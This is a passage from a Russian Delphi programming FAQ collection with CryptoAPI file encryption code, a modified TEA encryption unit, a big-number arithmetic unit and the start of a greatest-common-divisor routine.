begin
AssignFile (outfile, OpenDlg.FileName);
reset (outfile, 1);
keyLen:= FileSize (outfile);
GetMem (tmp, keyLen);
BlockRead (outfile, tmp^, keyLen);
CloseFile (outfile);
end
else exit;
CryptImportKey (hProv, tmp, keyLen, 0, 0, @KeyExchKey);
FreeMem (tmp, keyLen);
SaveDlg.Title:= 'Задайте имя файла для зашифрованных данных';
if SaveDlg.Execute then AssignFile (outfile, SaveDlg.FileName)
else exit;
rewrite (outfile, 1);
case AlgRadioGroup.ItemIndex of {установка алгоритма шифрования}
0: begin
alg:= CALG_RC2;   {алгоритм RC2}
stream:= false;   {блочный шифр}
end;
1: begin
alg:= CALG_RC4;   {алгоритм RC4}
stream:= true;   {поточный шифр}
end;
end;
CryptGenKey (hProv, alg, CRYPT_EXPORTABLE or CRYPT_CREATE_SALT, @SessionKey);   {создание сеансового ключа}
keyLen:= 128;   {размер буфера "с запасом"}
GetMem (tmp, keyLen);
CryptExportKey (SessionKey, KeyExchKey, SIMPLEBLOB, 0, tmp, @keyLen);
BlockWrite (outfile, keyLen, 4);   {запись в файл размера ключа}
BlockWrite (outfile, tmp^, keyLen);   {и самого зашифрованного ключа}
CryptDestroyKey (KeyExchKey);
keyLen:= 512;    {размер буфера "с запасом"}
CryptGetKeyParam (SessionKey, KP_SALT, @buf, @keyLen, 0);
BlockWrite (outfile, keyLen, 4);    {запись в файл размера солта}
BlockWrite (outfile, buf, keyLen);    {и самого солт-значения}
if not stream then   {если шифр - блочный}
begin
//генерируем IV
keyLen:= 512;    {размер буфера "с запасом"}
// запрос IV ради выяснения его размера
CryptGetKeyParam (SessionKey, KP_IV, @buf, @keyLen, 0);
CryptGenRandom (hProv, keyLen, @buf);    {генерация IV}
CryptSetKeyParam (SessionKey, KP_IV, @buf, 0);
BlockWrite (outfile, keyLen, 4);    {запись в файл размера IV}
BlockWrite (outfile, buf, keyLen);    {и самого IV}
end;
reset (infile, 1);
while not eof (infile) do
begin   {собственно шифрование и запись в файл}
BlockRead (infile, buf, 496, keyLen);
CryptEncrypt (SessionKey, 0, eof (infile), 0, @buf, @keyLen, 512);
BlockWrite (outfile, buf, keyLen);
end;
CloseFile (infile);
CloseFile (outfile);
CryptDestroyKey (SessionKey);
end
else {расшифровывание}
begin   {получаем дескриптор своего ключа обмена ключами}
CryptGetUserKey (hProv, AT_KEYEXCHANGE, @KeyExchKey);
OpenDlg.Title:= 'Укажите файл с зашифрованными данными';
if OpenDlg.Execute then AssignFile (infile, OpenDlg.FileName)
else exit;
reset (infile, 1);
BlockRead (infile, keyLen, 4);   {читаем размер ключа}
GetMem (tmp, keyLen);
BlockRead (infile, tmp^, keyLen);   {читаем сам ключ}
CryptImportKey (hProv, tmp, keyLen, KeyExchKey, 0, @SessionKey);
FreeMem (tmp, keyLen);
CryptDestroyKey (KeyExchKey);
BlockRead (infile, keyLen, 4);   {читаем солт-значение}
BlockRead (infile, buf, keyLen);
CryptSetKeyParam (SessionKey, KP_SALT, @buf, 0);
keyLen:= 4;   {выясняем алгоритм шифрования}
CryptGetKeyParam (SessionKey, KP_ALGID, @alg, @keyLen, 0);
case alg of
CALG_RC2: stream:= false;
CALG_RC4: stream:= true;
end;
if not stream then   {если шифр - блочный}
begin
//читаем и устанавливаем IV
BlockRead (infile, keyLen, 4);
BlockRead (infile, buf, keyLen);
CryptSetKeyParam (SessionKey, KP_IV, @buf, 0);
end;
SaveDlg.Title:= 'Задайте имя файла для расшифрованных данных';
if SaveDlg.Execute then
begin
AssignFile (outfile, SaveDlg.FileName);
rewrite (outfile, 1);
while not eof (infile) do
begin   {собственно расшифровывание}
BlockRead (infile, buf, 512, keyLen);
CryptDecrypt (SessionKey, 0, eof (infile), 0, @buf, @keyLen);
BlockWrite (outfile, buf, keyLen);
end;
CloseFile (outfile);
end;
CloseFile (infile);
CryptDestroyKey (SessionKey);
end;
CryptReleaseContext (hProv, 0);
end;

В рассмотренной нами процедуре обмена шифрованными сообщениями остается одно слабое звено - обмен открытыми ключами. Ведь при этом мы не обеспечиваем подлинность полученного ключа - во время пересылки его может подменить злоумышленник. CryptoAPI для решения этой проблемы предполагает использование сертификатов.


Библиотека реализующая практически все распространённые алгоритмы шифрования и хэширования

DCP - http://www.cityinthesky.co.uk/cryptography.html . Библиотека реализующая практически все распространённые алгоритмы шифрования и хэширования. Бесплатная с исходными кодами.

Взято из http://forum.sources.ru


Алгоритм шифрования TEA

Немного модифицированный вариант для шифрования не особо критичных данных
(****************************************)
(*                                      *)
(*  Модуль шифрования по алгоритму TEA  *)
(*     (Tiny Encryption Algorithm)      *)
(*     используестся 128 битный ключ    *)
(* ==================================== *)
(*   Автор: Александр (Rouse_) Багель   *)
(*                                      *)
(****************************************)

// Внимание, в России разрешено использовать только 40 битный ключ,
// поэтому данный алгоритм нельзя использовать без предварительного
// согласования с ФАПСИ

// Последняя модификация 3 августа 2004 г.
// Схема действия
// В функцию передается массив данных
// Генерируется уникальный 128 битный ключ для кодирования на основе GUID
// Вычисляется размер данных, они должны быть кратны четному
// кол-ву 32 битных блоков, недостающий обьем заполняется мусором
// Первые три байта занимает заголовок ETA
// В четвертую позицию данных добавляется значение указывающее объем мусора
// Производится кодирование ранее сгенерированным ключем
// Сам ключ кодируется внутренним ключем, делится на четыре части
// 128 битный ключ разделяется на четыре 32 битных блока
// Ключ добавляется в данные со сдвигом в любое место
// в следующем порядке 4-ый, 3-ий, 1-ый, 2-ой блоки
// На 14 ую позицию данных вставляется со сдвигом указатель на начало ключа
// Итого в закодированном буффере находится помимо основной
// еще и 21 байт служебной информации
// Для раскодирования все действи производится в обратном порядке

unit TEA;

interface

uses
  Windows,
  SysUtils,
  Classes;

const
  Delta = $9E3779B9;  // Смещение контрольной суммы ~ 32 бит
  _k0: Int64 = $982C98C1;    // Главный 128 битный ключ (4 части по 32 бита)
  _k1: Int64 = $7F8F4D4B;    // Его нужно изменить на свой аналог...
  _k2: Int64 = $BCAE3151;
  _k3: Int64 = $971BC789;
  Header = 'ETA'; // Enhanced TEA

type
  PHash = ^THash;
  THash = array of Byte;

  function DeCript(var S: THash): Boolean;
  procedure EnCript(var S: THash);

implementation

////////////////////////////////////////////////////////////////////////////////
//
// ЧАСТЬ ПЕРВАЯ * * * КОДИРОВАНИЕ * * *

procedure EnCript(var S: THash);
var
  InBuf,
  OutBuf,
  ResultBuf: THash;           // Входной, выходной и результирующий буфера
  Y, Z, Sum: LongWord;        // Временные переменные для кодируемых блоков данных
  k0, k1, k2 , k3: LongWord;  // Текущий ключ для шифрования
  I, A, Len: Integer;         // Переменные для циклов
  C: Byte;                    // Счетчик кол-ва мусора
  Guid, Key: String;
  G: TGUID;
begin
  // Проверка размера данных
  if Length(S) = 0 then Exit;

  CreateGUID(G); // Генерируем ключик на основе GUID - а :)
  Guid := GUIDToString(G);
  for I := 1 to Length(Guid) do
    if Guid[I] in ['0'..'9', 'A'..'F'] then
      Key := Key + Guid[I];

  k0 := StrToInt64('$' + Copy(Key, 1, 8));
  k1 := StrToInt64('$' + Copy(Key, 9, 8));
  k2 := StrToInt64('$' + Copy(Key, 17, 8));
  k3 := StrToInt64('$' + Copy(Key, 25, 8));

  C := 0; // Инициализируем счетчик дозаполнений
  // Дозаполняем данные чтобы последний блок данных был равен 64 битам
  while (Length(S) div 8) * 8 <> Length(S) do // 64 бита = 8 байтам :)
  begin
    Len := Length(S);
    Inc(Len);
    SetLength(S, Len);
    S[Len - 1] := Random(255); // Заполняем случайными данными
    Inc(C);
  end;

  Len := Length(S); // Вычисляем размер кодируемого блока
  SetLength(InBuf, Len);  // Устанавливаем размер буферов

  // Размер выходного буфера увеличен на 21 байт из-за
  // 3 байта - заголовок ETA
  // 1 байт - счетчик кол-ва мусора в конце буфера
  // 16 байт - кодированный ключ - 4 Cardinal
  // 1 байт - метка расположения кодированного ключа
  Inc(Len, 21);
  SetLength(OutBuf, Len);
  SetLength(ResultBuf, Len);

  Inc(C);// Увеличим кол-во мусора для удаления самого поля счетчика
  OutBuf[0] := Ord(Header[1]); // добавляем идентификатор
  OutBuf[1] := Ord(Header[2]);
  OutBuf[2] := Ord(Header[3]);
  OutBuf[3] := C; // Добавляем счетчик мусора

  Move(S[0], InBuf[0], Length(S));// Заполняем входной буфер данными

  I := 0;
  while I < Len - 21 do // Непосредственно кодировка
  begin
    Move(InBuf[I], Y, 4);     // Берем первые 32 бита
    Move(InBuf[I + 4], Z, 4); // Берем вторые 32 бита
    // Кодируем
    Sum := 0;
    for A := 0 to 31 do  // 64 битный кодируемый блок (2 части по 32 бита)
    begin
      Inc(Sum, Delta);
      Inc(Y, ((Z shl 4) + k0) xor (Z + Sum) xor ((Z shr 5) + k1));
      Inc(Z, ((Y shl 4) + k2) xor (Y + Sum) xor ((Y shr 5) + k3));
    end;
    Move (Y, OutBuf[I + 4], 4); // Помещаем кодированные блоки в выходном буфер
    Move (Z, OutBuf[I + 8], 4);
    Inc(I, 8); // Пропускаем обработанный блок, переходим к следующему
  end;

  Sum := 0;
  for A := 0 to 31 do  // Кодируем первые 2 части ключа внутренним ключем
  begin
    Inc(sum,Delta);
    Inc(k0, ((k1 shl 4) + _k0) xor (k1 + Sum) xor ((k1 shr 5) + _k1));
    Inc(k1, ((k0 shl 4) + _k2) xor (k0 + Sum) xor ((k0 shr 5) + _k3));
  end;

  Sum := 0;
  for A := 0 to 31 do  // Кодируем вторые 2 части ключа внутренним ключем
  begin
    Inc(Sum, Delta);
    Inc(k2, ((k3 shl 4) + _k0) xor (k3 + Sum) xor ((k3 shr 5) + _k1));
    Inc(k3, ((k2 shl 4) + _k2) xor (k2 + Sum) xor ((k2 shr 5) + _k3));
  end;

  // Определяем позицию размещения ключа в блоке данных
  Randomize;
  if Len < 255 then
    I := Len
  else
    I := 255;
  repeat
    I := Random(I);
    if I < 4 then I := 4;
  until I <= Len - 16;

  // Смещаем данные освобождая место для четырех
  // частей ключа
  Move(OutBuf[0], ResultBuf[0], I);
  Move(OutBuf[I], ResultBuf[I + 16], Len - I - 17);

  // Разбиваем четвертую четверть ключа на 4 восьмибитных части
  ResultBuf[I]    := Byte(k3 shr 24);
  ResultBuf[I + 1]  := Byte(k3 shr 16);
  ResultBuf[I + 2]  := Byte(k3 shr 8);
  ResultBuf[I + 3]  := Byte(k3);

  // Разбиваем третью четверть ключа на 4 восьмибитных части
  ResultBuf[I + 4]  := Byte(k2 shr 24);
  ResultBuf[I + 5]  := Byte(k2 shr 16);
  ResultBuf[I + 6]  := Byte(k2 shr 8);
  ResultBuf[I + 7]  := Byte(k2);

  // Разбиваем первую четверть ключа на 4 восьмибитных части
  ResultBuf[I + 8]  := Byte(k0 shr 24);
  ResultBuf[I + 9]  := Byte(k0 shr 16);
  ResultBuf[I + 10] := Byte(k0 shr 8);
  ResultBuf[I + 11] := Byte(k0);

  // Разбиваем вторую четверть ключа на 4 восьмибитных части
  ResultBuf[I + 12] := Byte(k1 shr 24);
  ResultBuf[I + 13] := Byte(k1 shr 16);
  ResultBuf[I + 14] := Byte(k1 shr 8);
  ResultBuf[I + 15] := Byte(k1);

  // Сдвигаем данные с 14 позиции на одну вправо для метки
  // (буфер начинается с нуля)
  for A := Len - 1 downto 14 do
    ResultBuf[A] := ResultBuf[A - 1];

  // Помещаем метку начала ключа (14-й байт)
  ResultBuf[13] := I;

  S := ResultBuf;
end;

////////////////////////////////////////////////////////////////////////////////
//
// ЧАСТЬ ВТОРАЯ * * * ДЕКОДИРОВАНИЕ * * *

function DeCript (var S: THash): Boolean;
var
  InBuf,
  OutBuf,
  ResultBuf: THash;         // Входной, выходной и результирующий буфера
  Y , Z, Sum: LongWord;     // Временные переменные для кодируемых блоков данных
  k0, k1, k2, k3: LongWord; // Текущий ключ для шифрования
  I, A, Len: Integer;       // Переменные для циклов
  AHeader: String;
begin
  Result := False;

  Len := Length(S); // Вычисляем размер декодируемого блока

  // Проверка размера
  if Len < 27 then Exit;
  if Len <> (((Len - 21) div 8) * 8) + 21 then Exit;

  // Проверка заголовка
  AHeader := Char(S[0]) + Char(S[1]) + Char(S[2]);
  if AHeader <> Header then Exit;

  // Проверка позиции ключа
  if not(S[13] in [4..255]) then Exit;
  if S[13] + 16 > Len then Exit;

  // Проверка счетчика мусора
  if S[3] > 8 then Exit;

  SetLength(InBuf, Len);  // Устанавливаем размер буферов

  Move(S[0], InBuf[0], Len);// Заполняем входной буфер данными

  I := InBuf[13]; // Узнаем начальную позицию ключа

  // Удаляем метку на начало ключа
  for A := 13 to Len - 2 do
  begin
    InBuf[A] := InBuf[A + 1];
    InBuf[A + 1] := 0;
  end;
  Dec(Len);

  // Извлекаем ключ
  k3 :=(InBuf[I + 3] or (InBuf[I + 2] shl 8) or (InBuf[I + 1] shl 16) or (InBuf[I] shl 24));
  k2 :=(InBuf[I + 7] or (InBuf[I + 6] shl 8) or (InBuf[I + 5] shl 16) or (InBuf[I + 4] shl 24));
  k0 :=(InBuf[I + 11] or (InBuf[I + 10] shl 8) or (InBuf[I + 9] shl 16) or (InBuf[I + 8] shl 24));
  k1 :=(InBuf[I + 15] or (InBuf[I + 14] shl 8) or (InBuf[I + 13] shl 16) or (InBuf[I + 12] shl 24));

  // Удаляем ключ из блока данных
  for A := I + 16 to Len do
  begin
    InBuf[A - 16] := InBuf[A];
    InBuf[A] := 0;
  end;
  SetLength(OutBuf, Len);
  ZeroMemory(OutBuf, Len);
  Dec(Len, 16); // Удаляем размер ключа

  // Декодируем первые две части ключа
  Sum := Delta shl 5;
  for A := 0 to 31 do
  begin
    Dec(k1, ((k0 shl 4) + _k2) xor (k0 + Sum) xor ((k0 shr 5) + _k3));
    Dec(k0, ((k1 shl 4) + _k0) xor (k1 + Sum) xor ((k1 shr 5) + _k1));
    Dec(Sum, Delta);
  end;

  // Декодируем вторые две части ключа
  Sum := Delta shl 5;
  for A := 0 to 31 do
  begin
    Dec(k3, ((k2 shl 4) + _k2) xor (k2 + Sum) xor ((k2 shr 5) + _k3));
    Dec(k2, ((k3 shl 4) + _k0) xor (k3 + Sum) xor ((k3 shr 5) + _k1));
    Dec(Sum, Delta);
  end;

  I := 0;
  Dec(Len); // Удяляем из размера место счетчика мусора
  Dec(Len, 3); // Удаляем из размера заголовок ETA
  while I < Len do // Непосредственно декодировка
  begin
    Move(InBuf[I + 4], Y, 4);  // Берем первые 32 бита
    Move(InBuf[I + 8], Z, 4);  // Берем вторые 32 бита
    // Декодируем
    Sum := Delta shl 5;
    for A := 0 to 31 do  // 64 битный кодируемый блок (2 части по 32 бита)
    begin
      Dec(Z, ((Y shl 4) + k2) xor (Y + Sum) xor ((Y shr 5) + k3));
      Dec(Y, ((Z shl 4) + k0) xor (Z + Sum) xor ((Z shr 5) + k1));
      Dec(Sum, Delta);
    end;
    Move(Y, OutBuf[I], 4);  // Запоминаем кодированные блоки в выходном буфере
    Move(Z, OutBuf[I + 4], 4);
    Inc(I, 8);              // Пропускаем обработанный блок, переходим к следующему
  end;

  // Отрезаем мусор (-1 потому что место для счетчика уже удалено из Len)
  Len := Len - (InBuf[3] - 1);
  SetLength(ResultBuf, Len);
  Move(OutBuf[0], ResultBuf[0], Len);

  // Выводим текст из выходного буфера
  S := ResultBuf;
  Result := True;
end;

end.

Автор: Александр (Rouse_) Багель

Взято из http://forum.sources.ru


Арифметика, системы счисления, комплексные числа

Cодержание раздела:

Работа с очень большими числами
Как найти наибольший общий делитель?
Как работать с комплексными числами?
Преобразование числа в двоичную запись
Как посчитать факториал?
Конвертация римских цифр в арабские
Конвертация арабских цифр в римские
Как представить число в другой системе счисления?
Как проверить, является ли число простым?
Функция вычисления степени
Корректная функция возведения в степень


Работа с очень большими числами

Это модуль для работы с очень большими числами без потери точности. Модуль даёт возможность манипулирования с 10000 и более значащими цифрами в числах. В модуле реализованы сложение, вычитание, умножение, деление, возведение в целую степень и факториал. Все функции в качестве аргументов принимают длинные строки и результат выдают тоже в виде строки.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Просьба связаться со мной, если кто хочет доработать модуль и расширить функциональность.

unit UMathServices;
{Автор Vit}

interface

Type TProgress = procedure(Done:real);

{Собственно экспортные функции}
Function ulFact(First:String):string;
Function ulSum(First, Second :string):string;
Function ulSub(First, Second :string):string;
Function ulMPL(First, Second :string):string;
Function ulPower(First, Second :string):string;
function UlDiv(First, Second:String; Precision:integer):String;   {Precision - не истинная точность а количество знаков учитываемых после запятой сверх тех которые значимы. Все знаки уже существующие в делимом и делителе в любом случае учитываются}

{Call back function for long operations}
var OnProgress: TProgress;

implementation

Uses SysUtils;

type TMathArray=array of integer;

Type TNumber=record
               int, frac:TMathArray;
               sign:boolean;
             end;

var   n1, n2:TNumber;

Procedure Str2Number(s:string; var n:TNumber);
  var i, j, l:integer;
begin
  if s='' then
    begin
      setlength(n.int , 0);
      setlength(n.frac , 0);
      exit;
    end;
  l:=length(s);
  if s[1]='-' then
    begin
      s:=copy(s,2,l);
      l:=l-1;
      n.sign:=false;
    end
  else
    n.sign:=true;
  j:=pos('.', s);
  if j>0 then
    begin
      setlength(n.int , j-1);
      for i:=1 to j-1 do n.int[i-1]:=strtoint(s[j-i]);
      setlength(n.frac , l-j);
      for i:=1 to l-j do n.frac[i-1]:=strtoint(s[l-i+1]);
    end
  else
    begin
     setlength(n.int,l);
     for i:=1 to l do n.int[i-1]:=strtoint(s[l-i+1]);
     setlength(n.frac,0);
    end;
end;

Function Num2Array(Var n:TNumber; var a:TMathArray):integer;
  var i:integer;
begin
  result:=length(n.frac);
  setlength(a,length(n.int)+result);
  for i:=0 to length(a)-1 do if i<result then a[i]:=n.frac[i] else a[i]:=n.int[i-result];
end;

Procedure MultiplyArray(var a1, a2, a:TMathArray);
  var i, j:integer;
      b:boolean;
begin
{checking for zero, 1}
  for i:=length(a2)-1 downto 0 do
    begin
      for j:=length(a1)-1 downto 0 do
        begin
          a[j+i]:=a[j+i]+(a2[i]*a1[j]);
        end;
    end;
  repeat
    b:=true;
    for i:=0 to length(a)-1 do
      if a[i]>9 then
        begin
          b:=false;
          try
            a[i+1]:=a[i+1]+1;
          except
            setlength(a, length(a)+1);
            a[i+1]:=a[i+1]+1;
          end;
          a[i]:=a[i]-10;
        end;
  until b;
end;

Procedure Array2Num(Var n:TNumber; var a:TMathArray; frac:integer; sign:boolean);
  var i:integer;
begin
  setlength(n.frac,frac);
  setlength(n.int,length(a)-frac);
  for i:=0 to length(a)-1 do
    begin
      if i<frac then n.frac[i]:=a[i] else n.int[i-frac]:=a[i];
    end;
  n.sign:=sign;
end;

Function Number2Str(var n:TNumber):string;
  var i:integer;
      s:string;
begin
  result:='';
  for i:=0 to high(n.int) do result:=inttostr(n.int[i])+result;
  if length(n.frac)<>0 then
    begin
      for i:=0 to high(n.frac) do s:=inttostr(n.frac[i])+s;
      result:=result+'.'+s;
    end;
  while (length(result)>1) and (result[1]='0') do delete(result,1,1);
  if pos('.', result)>0 then while (length(result)>1) and (result[length(result)]='0') do delete(result,length(result),1);
  if not n.sign then result:='-'+result;
  setlength(n.int,0);
  setlength(n.frac,0);
end;

Procedure DisposeNumber(var n:TNumber);
begin
  setlength(n.int,0);
  setlength(n.frac,0);
end;

Function ulFact(First:String):string;
  var n1, n2:TNumber;
      i:integer;
      a, a1, a2:TMathArray;
      max:integer;
begin
  Str2Number('1', n1);
  Str2Number('1', n2);
  Num2Array(n1, a1);
  Num2Array(n2, a2);
  max:=strtoint(First);
  for i:=1 to strtoint(First) do
    begin
      if Assigned(OnProgress) then OnProgress((i/max)*100);
      setlength(a,length(a1)+length(a2)+1);
      MultiplyArray(a1, a2, a);
      setlength(a1,0);
      setlength(a2,0);
      a1:=a;
      Str2Number(inttostr(i), n2);
      Num2Array(n2, a2);
    end;
  Array2Num(n1, a1, 0, true);
  result:=Number2Str(n1);
  DisposeNumber(n1);
end;

Function ulPower(First, Second :string):string;
  var i, j, c:integer;
      a, a1, a2:TMathArray;
  var n1:TNumber;
      max:integer;
begin
  j:=strtoint(Second);
  if j=0 then
    begin
      result:='1';
      exit;
    end
  else
    if j=1 then
      begin
        result:=First;
        exit;
      end;

  max:=j-1;
  Str2Number(First, n1);
  c:=Num2Array(n1, a1);
  setlength(a,0);
  setlength(a2,0);
  a2:=a1;
  for i:=1 to j-1 do
    begin
      if Assigned(OnProgress) then OnProgress((i/max)*100);
      setlength(a,0);
      setlength(a,length(a1)+length(a2)+1);
      MultiplyArray(a1, a2, a);
      setlength(a2,0);
      a2:=a;
    end;
  setlength(a1,0);
  setlength(a2,0);
  c:=c*j;
  if n1.sign then
    Array2Num(n1, a, c, true)
  else
    if odd(j) then Array2Num(n1, a, c, false) else Array2Num(n1, a, c, true);
  setlength(a,0);
  result:=Number2Str(n1);
  DisposeNumber(n1);
end;

Procedure MultiplyNumbers(var n1, n2 :TNumber);
  var i:integer;
      a, a1, a2:TMathArray;
begin
  i:=Num2Array(n1, a1)+Num2Array(n2, a2);
  setlength(a,length(a1)+length(a2)+1);
  MultiplyArray(a1, a2, a);
  setlength(a1,0);
  setlength(a2,0);
  Array2Num(n1, a, i, n1.sign=n2.sign);
  DisposeNumber(n2);
  setlength(a,0);
end;

Function ulMPL(First, Second :string):string;
  var n1, n2:TNumber;
begin
  Str2Number(First, n1);
  Str2Number(Second, n2);
  MultiplyNumbers(n1, n2);
  result:=Number2Str(n1);
  DisposeNumber(n1);
end;

Procedure AlignNumbers(var n1, n2:TNumber);
  var i1, i2, i:integer;
begin
  i1:=length(n1.int);
  i2:=length(n2.int);
  if i1>i2 then setlength(n2.int, i1);
  if i2>i1 then setlength(n1.int, i2);

  i1:=length(n1.frac);
  i2:=length(n2.frac);

  if i1>i2 then
    begin
      setlength(n2.frac, i1);
      for i:=i1-1 downto 0 do
        begin
          if i-(i1-i2)>0 then n2.frac[i]:=n2.frac[i-(i1-i2)] else n2.frac[i]:=0;
        end;
    end;
  if i2>i1 then
    begin
      setlength(n1.frac, i2);
      for i:=i2-1 downto 0 do
        begin
          if i-(i2-i1)>0 then n1.frac[i]:=n1.frac[i-(i2-i1)] else n1.frac[i]:=0;
        end;
    end;
end;

Function SubInteger(a1,a2:TMathArray):integer;
  var i:integer;
      b:boolean;
begin
  result:=0;
  if length(a1)=0 then exit;
  for i:=0 to length(a1)-1 do a1[i]:=a1[i]-a2[i];
  repeat
    b:=true;
    for i:=0 to length(a1)-1 do
      if a1[i]<0 then
        begin
          b:=false;
          if i=length(a1)-1 then
            begin
              result:=-1;
              a1[i]:=a1[i]+10;
              b:=true;
            end
          else
            begin
              a1[i+1]:=a1[i+1]-1;
              a1[i]:=a1[i]+10;
            end;
        end;
  until b;
end;

Procedure AssignNumber(out n1:TNumber; const n2:TNumber);
  var i:integer;
begin
  Setlength(n1.int, length(n2.int));
  for i:=0 to length(n2.int)-1 do n1.int[i]:=n2.int[i];
  Setlength(n1.frac, length(n2.frac));
  for i:=0 to length(n2.frac)-1 do n1.frac[i]:=n2.frac[i];
  n1.sign:=n2.sign;
end;

Procedure SubNumber(var n1, n2 : TNumber);
  var i:integer;
      n:TNumber;
begin
  AlignNumbers(n1, n2);
  i:=subInteger(n1.frac, n2.frac);
  n1.int[0]:=n1.int[0]+i;
  DisposeNumber(n);
  AssignNumber(n, n1);
  i:=subInteger(n1.int, n2.int);
  if i<0 then
    begin
      subInteger(n2.int, n.int);
      AssignNumber(n1, n2);
    end
  else
    begin
      DisposeNumber(n2);
    end;
end;

Function SumInteger(a1,a2:TMathArray):integer;
  var i:integer;
      b:boolean;
begin
  result:=0;
  if length(a1)=0 then exit;
  for i:=0 to length(a1)-1 do a1[i]:=a1[i]+a2[i];
  repeat
    b:=true;
    for i:=0 to length(a1)-1 do
      if a1[i]>9 then
        begin
          b:=false;
          if i=length(a1)-1 then
            begin
              result:=1;
              a1[i]:=a1[i]-10;
              b:=true;
            end
          else
            begin
              a1[i+1]:=a1[i+1]+1;
              a1[i]:=a1[i]-10;
            end;
        end;
  until b;
end;

Procedure SumNumber(var n1, n2:TNumber);
  var i:integer;
begin
  AlignNumbers(n1, n2);
  i:=sumInteger(n1.frac, n2.frac);
  n1.int[0]:=n1.int[0]+i;
  i:=sumInteger(n1.int, n2.int);
  if i>0 then
    begin
      setlength(n1.int, length(n1.int)+1);
      n1.int[length(n1.int)-1]:=i;
    end;
  DisposeNumber(n2);
end;

Procedure SumNumbers(var n1, n2:TNumber);
begin
  if n1.sign and n2.sign then
    begin
      SumNumber(n1, n2);
      n1.sign:=true;
    end
  else
    if (not n1.sign) and (not n2.sign) then
      begin
        SumNumber(n1, n2);
        n1.sign:=False;
      end
    else
      if (not n1.sign) and n2.sign then
        begin
          SubNumber(n2, n1);
          AssignNumber(n1, n2);
        end
      else
        begin
          SubNumber(n1, n2);
        end;
end;

Function ulSum(First, Second :string):string;
begin
  Str2Number(First, n1);
  Str2Number(Second, n2);
  SumNumbers(n1, n2);
  result:=Number2Str(n1);
  DisposeNumber(n1);
end;

Function ulSub(First, Second :string):string;
begin
  Str2Number(First, n1);
  Str2Number(Second, n2);
  n2.sign:=not n2.sign;
  SumNumbers(n1, n2);
  result:=Number2Str(n1);
  DisposeNumber(n1);
end;

function  DupChr(const X:Char;Count:Integer):AnsiString;
begin
  if Count>0 then begin
    SetLength(Result,Count);
    if Length(Result)=Count then FillChar(Result[1],Count,X);
  end;
end;

function StrCmp(X,Y:AnsiString):Integer;
var
  I,J:Integer;
begin
  I:=Length(X);
  J:=Length(Y);
  if I=0 then begin
    Result:=J;
    Exit;
  end;
  if J=0 then begin
    Result:=I;
    Exit;
  end;
  if X[1]=#45 then begin
    if Y[1]=#45 then begin
      X:=Copy(X,2,I);
      Y:=Copy(Y,2,J);
    end else begin
      Result:=-1;
      Exit;
    end;
  end else if Y[1]=#45 then begin
    Result:=1;
    Exit;
  end;
  Result:=I-J;
  if Result=0 then Result:=CompareStr(X,Y);
end;

function StrDiv(X,Y:AnsiString):AnsiString;
var
  I,J:Integer;
  S,V:Boolean;
  T1,T2:AnsiString;
  R:string;
  max:integer;

begin
  Result:=#48;
  R:=#48;
  I:=Length(X);
  J:=Length(Y);
  S:=False;
  V:=False;
  if I=0 then Exit;
  if (J=0) OR (Y[1]=#48) then begin
    Result:='';
    R:='';
    Exit;
  end;
  if X[1]=#45 then begin
    Dec(I);
    V:=True;
    X:=Copy(X,2,I);
    if Y[1]=#45 then begin
      Dec(J);
      Y:=Copy(Y,2,J)
    end else S:=True;
  end else if Y[1]=#45 then begin
    Dec(J);
    Y:=Copy(Y,2,J);
    S:=True;
  end;
  Dec(I,J);
  if I<0 then begin
    R:=X;
    Exit;
  end;
  T2:=DupChr(#48,I);
  T1:=Y+T2;
  T2:=#49+T2;
  max:= Length(T1);
  while Length(T1)>=J do begin
    while StrCmp(X,T1)>=0 do begin
      X:=UlSub(X,T1);
      Result:=UlSum(Result,T2);
    end;
    SetLength(T1,Length(T1)-1);
    SetLength(T2,Length(T2)-1);
    if Assigned(OnProgress) then OnProgress(100-(Length(T1)/max)*100);
  end;
  R:=X;
  if S then if Result[1]<>#48 then Result:=#45+Result;
  if V then if R[1]<>#48 then R:=#45+R;
end;

Function Mul10(First:string; Second:integer):string;
  var s:string;
      i, j:integer;
begin
  if pos('.',First)=0 then
    begin
      s:='';
      For i:=0 to Second-1 do s:=s+'0';
      Result:=First+s;
    end
  else
    begin
      s:='';
      j:=length(First)-pos('.',First);
      if (second-j)>0 then For i:=0 to Second-j-1 do s:=s+'0';
      First:=First+s;
      j:=pos('.',First);
      First:=StringReplace(First,'.','',[]);
      insert('.',First,j+second);
      while (length(First)>0) and (First[length(First)]='0') do delete(First,length(First),1);
      while (length(First)>0) and (First[length(First)]='.') do delete(First,length(First),1);
      Result:=First;
    end;
end;

Function Div10(First:string; Second:integer):string;
  var s:string;
      i:integer;
begin
  s:='';
  For i:=0 to Second do s:=s+'0';
  s:=s+First;
  Insert('.', s, length(s)-Second+1);
  while (length(s)>0) and (s[1]='0') do delete(s,1,1);
  if pos('.',s)>0 then
    while (length(s)>0) and (s[length(s)]='0') do delete(s,length(s),1);
  if (length(s)>0) and (s[length(s)]='.') then delete(s,length(s),1);
  Result:=s;
end;

function UlDiv(First, Second:String; Precision:integer):String;
begin
  First:=Mul10(First, Precision);
  result:=Div10(StrDiv(First, Second), Precision);
end;

end.

Взято с Vingrad.ru http://forum.vingrad.ru


Как найти наибольший общий делитель?

  The greatest common factor, or GCF, is the greatest factor
  that divides two numbers.
}

uses
  math;

// Find the greatest common factor of two integers

function TForm1.GCF(A, B: Integer): Integer;
var
  Lfactor: Integer;
begin
  // Return -1 if either value is zero or negative
  if (A < 1) or (B < 1) then
  begin
    Result := -1;
    Exit;
  end;
  // if A = B then this is the GCF
  if A = B then
  begin
    Result := A;
    Exit;
  end;
  Result := 1;
  for Lfactor := trunc(max(A, B) / 2) downto 2 do
  begin
    if (frac(A / Lfactor) = 0) and (frac(B / Lfactor) = 0) then
    begin
      Result := Lfactor;
      Exit; // GCF has been found. No need to continue
    end;
  end;
end;

// Example:
procedure TForm1.Button1Click(Sender: TObject);
var
 Res: Integer;
begin
  Res := GCF(120, 30);
  ShowMessage(Inttostr(Res));
end;

{******************}

// Find the greatest common factor of an array of integers
function TForm1.GCFarray(A: array of Integer): Integer;
var
  Llength, Lindex, Lfactor: Integer;
begin
  Llength := Length(A);

  // Return -1 if any value is zero or negative
  for Lindex := 0 to Llength - 1 do
  begin
    if A[Lindex] < 1 then
    begin
      Result := -1;
      Exit;
    end;
  end;

  // if all elements are equal then this is the GCF
  Lindex := 1;
  while (Lindex < Llength) and (A[Lindex] = A[0]) do Inc(Lindex);
  if Lindex = Llength then
  begin
    Result := A[0];
    Exit;
  end;

  Result := 1;

